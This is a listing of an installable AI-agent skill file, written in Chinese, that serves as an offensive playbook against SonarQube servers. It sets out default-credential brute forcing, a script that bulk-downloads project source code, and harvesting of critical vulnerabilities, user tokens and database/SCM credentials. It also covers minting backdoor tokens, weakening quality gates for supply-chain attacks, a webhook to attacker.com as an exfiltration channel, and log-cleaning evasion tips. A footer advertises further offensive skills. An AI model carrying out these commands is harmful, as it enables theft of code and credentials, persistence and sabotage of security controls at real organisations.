sonarqube-tactics

$npx mdskill add wgpsec/AboutSecurity/sonarqube-tactics

Exploit SonarQube defaults to steal code and bypass security gates.

  • Extracts project source code and critical vulnerability lists.
  • Integrates with SonarQube APIs on port 9000.
  • Prioritizes CRITICAL issues and admin credential validation.
  • Outputs stolen tokens, configuration files, and issue data.

SKILL.md

.github/skills/sonarqube-tacticsView on GitHub ↗
---
name: sonarqube-tactics
description: "SonarQube 代码审计平台攻击。当发现目标运行 SonarQube 实例(默认 9000 端口)、默认凭据 admin/admin 未修改、或需要从 SonarQube 窃取项目源代码和漏洞信息时使用。覆盖默认凭据攻击、项目源代码窃取、漏洞/Issue 枚举(CRITICAL 优先)、用户凭据与 Token 窃取、Quality Gate 绕过、配置文件提取(数据库/SCM 凭据)、Webhook 滥用、插件分析、热点与度量数据导出"
metadata:
  tags: "sonarqube,9000,代码审计,source-code,quality-gate,webhook,token,admin,漏洞扫描,devops"
  category: "postexploit"
---

# SonarQube 代码审计平台攻击

SonarQube 是 DevSecOps 体系中的核心代码质量平台,默认监听 9000 端口,出厂凭据 admin/admin 常被忽略。一旦被攻破,攻击者可直接获取全部项目源代码、已知漏洞清单和内部凭据——相当于拿到整个研发体系的安全蓝图。

## ⛔ 深入参考(必读)
- 完整 API 调用与利用命令 → 读 [references/attack-techniques.md](references/attack-techniques.md)

---

## Phase 1: 服务发现与版本识别

### 1.1 Nmap 扫描

```bash
# SonarQube 默认端口探测
nmap -sV -p 9000 TARGET

# HTTP 标题探测
nmap -p 9000 --script http-title TARGET
```

### 1.2 版本确认

```bash
# 获取 SonarQube 版本(无需认证)
curl -s http://TARGET:9000/api/server/version

# 系统状态(无需认证)
curl -s http://TARGET:9000/api/system/status | jq .
```

**关键判断**:
- 返回版本号(如 `9.9.0.12345`) → 实例存活,进入 Phase 2
- 返回 HTML 页面 → 可能有反向代理,检查 `/api/server/version` 路径
- 版本 < 8.9 → 可能存在更多未修复的已知漏洞

---

## Phase 2: 默认凭据检测

### 2.1 默认凭据尝试

```bash
# 出厂默认: admin/admin
curl -s -u admin:admin "http://TARGET:9000/api/authentication/validate" | jq .
# 返回 {"valid":true} 即登录成功

# 常见弱凭据
for creds in "admin:admin" "admin:sonarqube" "admin:password" "admin:admin123"; do
  echo "Testing $creds"
  result=$(curl -s -u "$creds" "http://TARGET:9000/api/authentication/validate")
  echo "$creds -> $result"
done
```

### 2.2 Token 认证测试

```bash
# SonarQube Token 作为用户名,密码留空
curl -s -u "squ_xxxxxxxxxxxx:" "http://TARGET:9000/api/authentication/validate"
```

**关键判断**:
- `{"valid":true}` → 凭据有效,进入 Phase 3 决策树
- `{"valid":false}` → 凭据无效,尝试其他弱口令组合
- 401 Unauthorized → 需认证,尝试 Token 或爆破

---

## Phase 3: 攻击决策树

```
凭据有效?
├─ 管理员权限 → 全攻击面
│   ├─ 项目源代码窃取 (Phase 4)
│   ├─ 漏洞信息武器化 (Phase 5)
│   ├─ 用户枚举 + Token 窃取 → 横向移动
│   ├─ Quality Gate 绕过 → 供应链攻击
│   ├─ 配置提取 → 数据库/SCM 凭据
│   ├─ Webhook 创建 → 数据外泄通道
│   └─ 插件分析 → LDAP/SAML 凭据
├─ 普通用户权限
│   ├─ 可见项目源代码窃取 (Phase 4)
│   ├─ 可见项目漏洞枚举 (Phase 5)
│   └─ 个人 Token 生成 → 持久化访问
└─ 无认证(公共实例 / Force Authentication = false)
    ├─ 公开项目源代码窃取 (Phase 4)
    └─ 公开项目漏洞枚举 (Phase 5)
```

**前置信息收集**:

```bash
# 确认当前用户权限
curl -s -u admin:admin "http://TARGET:9000/api/users/current" | jq .

# 检查是否需要认证(sonar.forceAuthentication)
curl -s "http://TARGET:9000/api/settings/values?keys=sonar.forceAuthentication" \
  -u admin:admin | jq .

# 列出所有项目(评估攻击面规模)
curl -s -u admin:admin \
  "http://TARGET:9000/api/projects/search?ps=500" | jq '.paging.total'
```

---

## Phase 4: 源代码窃取速查

### 4.1 项目与组件枚举

```bash
# 列出所有项目 key
curl -s -u admin:admin \
  "http://TARGET:9000/api/projects/search?ps=500" | \
  jq -r '.components[].key'

# 获取项目文件树
curl -s -u admin:admin \
  "http://TARGET:9000/api/components/tree?component=PROJECT_KEY&ps=500&qualifiers=FIL" | \
  jq -r '.components[].key'
```

### 4.2 源码下载

```bash
# 按文件下载源码
curl -s -u admin:admin \
  "http://TARGET:9000/api/sources/raw?key=PROJECT_KEY:src/main/java/App.java" \
  -o App.java

# 带行号的源码查看
curl -s -u admin:admin \
  "http://TARGET:9000/api/sources/lines?key=PROJECT_KEY:pom.xml&from=1&to=500" | \
  jq -r '.sources[].line + ": " + .sources[].code'
```

### 4.3 批量下载脚本

```bash
# 枚举所有文件并逐一下载
PROJECT="PROJECT_KEY"
for file in $(curl -s -u admin:admin \
  "http://TARGET:9000/api/components/tree?component=$PROJECT&ps=500&qualifiers=FIL" | \
  jq -r '.components[].key'); do
  mkdir -p "$(dirname "/tmp/sonar-dump/$file")"
  curl -s -u admin:admin \
    "http://TARGET:9000/api/sources/raw?key=$file" \
    -o "/tmp/sonar-dump/$file"
done
```

→ 更多源代码窃取技巧 → 读 [references/attack-techniques.md](references/attack-techniques.md)

---

## Phase 5: 漏洞信息武器化速查

### 5.1 CRITICAL 漏洞优先枚举

```bash
# 所有 CRITICAL 级别漏洞(直接可利用)
curl -s -u admin:admin \
  "http://TARGET:9000/api/issues/search?types=VULNERABILITY&severities=CRITICAL&ps=500" | \
  jq '.issues[] | {rule: .rule, message: .message, component: .component, line: .line}'

# 搜索含敏感关键词的 Issue
curl -s -u admin:admin \
  "http://TARGET:9000/api/issues/search?ps=500" | \
  jq '.issues[] | select(.message | test("password|secret|token|credential|hardcoded"; "i"))'
```

### 5.2 安全热点枚举

```bash
# Security Hotspots(需人工审查的安全点)
curl -s -u admin:admin \
  "http://TARGET:9000/api/hotspots/search?projectKey=PROJECT_KEY&ps=500" | \
  jq '.hotspots[] | {key: .key, message: .message, component: .component, vulnerabilityProbability: .vulnerabilityProbability}'
```

### 5.3 度量数据导出

```bash
# 项目安全度量
curl -s -u admin:admin \
  "http://TARGET:9000/api/measures/component?component=PROJECT_KEY&metricKeys=bugs,vulnerabilities,code_smells,security_hotspots,coverage" | \
  jq '.component.measures[]'
```

→ 完整漏洞枚举与武器化方法 → 读 [references/attack-techniques.md](references/attack-techniques.md)

---

## Phase 6: 用户凭据与 Token 窃取

```bash
# 枚举所有用户
curl -s -u admin:admin \
  "http://TARGET:9000/api/users/search?ps=500" | \
  jq '.users[] | {login: .login, name: .name, email: .email, groups: .groups}'

# 查看用户 Token(需管理员)
curl -s -u admin:admin \
  "http://TARGET:9000/api/user_tokens/search?login=USERNAME" | \
  jq '.userTokens[]'

# 为目标用户生成新 Token(持久化后门)
curl -s -X POST -u admin:admin \
  "http://TARGET:9000/api/user_tokens/generate" \
  -d "name=backup-token&login=USERNAME" | jq .
```

---

## Phase 7: 配置与凭据提取

```bash
# 导出全局配置(含数据库/SCM 凭据)
curl -s -u admin:admin \
  "http://TARGET:9000/api/settings/values" | \
  jq '.settings[] | select(.key | test("password|token|secret|jdbc|scm|ldap|smtp"; "i"))'

# 数据库连接信息
curl -s -u admin:admin \
  "http://TARGET:9000/api/settings/values?keys=sonar.jdbc.url,sonar.jdbc.username" | jq .

# ALM(代码托管平台)集成配置
curl -s -u admin:admin \
  "http://TARGET:9000/api/settings/values" | \
  jq '.settings[] | select(.key | test("github|gitlab|bitbucket|azure"; "i"))'
```

---

## Phase 8: Quality Gate 绕过与 Webhook 滥用

### 8.1 Quality Gate 绕过

```bash
# 列出所有 Quality Gate
curl -s -u admin:admin \
  "http://TARGET:9000/api/qualitygates/list" | jq '.qualitygates[]'

# 创建宽松 Quality Gate(供应链攻击)
curl -s -X POST -u admin:admin \
  "http://TARGET:9000/api/qualitygates/create" -d "name=Permissive"

# 将项目关联到宽松 Gate
curl -s -X POST -u admin:admin \
  "http://TARGET:9000/api/qualitygates/select" \
  -d "gateId=GATE_ID&projectKey=PROJECT_KEY"
```

### 8.2 Webhook 滥用

```bash
# 创建 Webhook(数据外泄通道)
curl -s -X POST -u admin:admin \
  "http://TARGET:9000/api/webhooks/create" \
  -d "name=notify&url=https://attacker.com/hook&project=PROJECT_KEY"

# 列出已有 Webhook
curl -s -u admin:admin \
  "http://TARGET:9000/api/webhooks/list?project=PROJECT_KEY" | jq '.webhooks[]'
```

→ 读 [references/attack-techniques.md](references/attack-techniques.md) 获取插件分析与批量导出技术

---

## 工具速查

| 工具 | 用途 |
|------|------|
| curl + jq | SonarQube REST API 交互的核心组合 |
| nmap | 端口发现与服务版本探测 |
| sonarqube-scanner | 官方扫描器,可用于理解项目分析流程 |
| hydra | Web 表单凭据爆破 |
| nuclei | SonarQube 默认凭据与已知漏洞模板扫描 |

---

## 注意事项

- SonarQube API 默认分页,`ps` 参数最大 500,超过需用 `p` 参数翻页遍历
- `/api/sources/raw` 按文件返回源码,大项目需脚本批量下载
- Token 生成后明文仅显示一次;已有 Token 只能看到名称和创建时间,无法恢复明文
- Quality Gate 修改会影响 CI/CD 流水线,可能被运维监控发现
- Webhook 创建后每次项目分析完成会触发回调,注意控制回调频率避免暴露
- 配置 API 中部分敏感字段(如密码)可能被遮蔽显示为 `*****`,需结合其他手段获取
- 操作日志可通过 `/api/ce/activity` 查看,注意清理或控制操作频率

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|